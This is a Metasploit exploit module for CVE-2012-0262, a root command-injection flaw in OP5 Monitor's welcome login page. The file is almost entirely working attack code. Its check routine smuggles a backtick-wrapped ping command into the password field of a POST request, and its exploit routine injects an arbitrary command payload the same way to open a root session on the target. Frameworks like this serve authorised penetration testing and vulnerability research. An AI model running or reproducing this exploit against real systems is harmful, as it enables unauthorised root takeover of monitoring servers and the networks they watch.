##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OP5 welcome Remote Command Execution',
        'Description' => %q{
          This module exploits an arbitrary root command execution vulnerability in
          OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
          5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
        },
        'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2012-0262'],
          ['OSVDB', '78065'],
          ['URL', 'http://web.archive.org/web/20120114164329/http://secunia.com:80/advisories/47417'],
        ],
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 1024,
          'BadChars' => '`\\|',
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'perl ruby python',
                        }
        },
        'Platform' => %w{linux unix},
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2012-01-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
      ]
    )
  end

  def check
    vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
    vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    # Try running/timing 'ping localhost' to determine is system is vulnerable
    start = Time.now

    data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'method' => 'POST',
      'proto' => 'HTTPS',
      'data' => data,
      'headers' =>
      {
        'Connection' => 'close',
      }
    }, 25)
    elapsed = Time.now - start
    if elapsed >= 5
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    data = 'do=do=Login&password=`' + payload.encoded + '`';

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'method' => 'POST',
      'proto' => 'HTTPS',
      'data' => data,
      'headers' =>
      {
        'Connection' => 'close',
      }
    }, 10)

    if (not res)
      if session_created?
        print_status("Session created, enjoy!")
      else
        print_error("No response from the server")
      end
      return
    end
  end
end
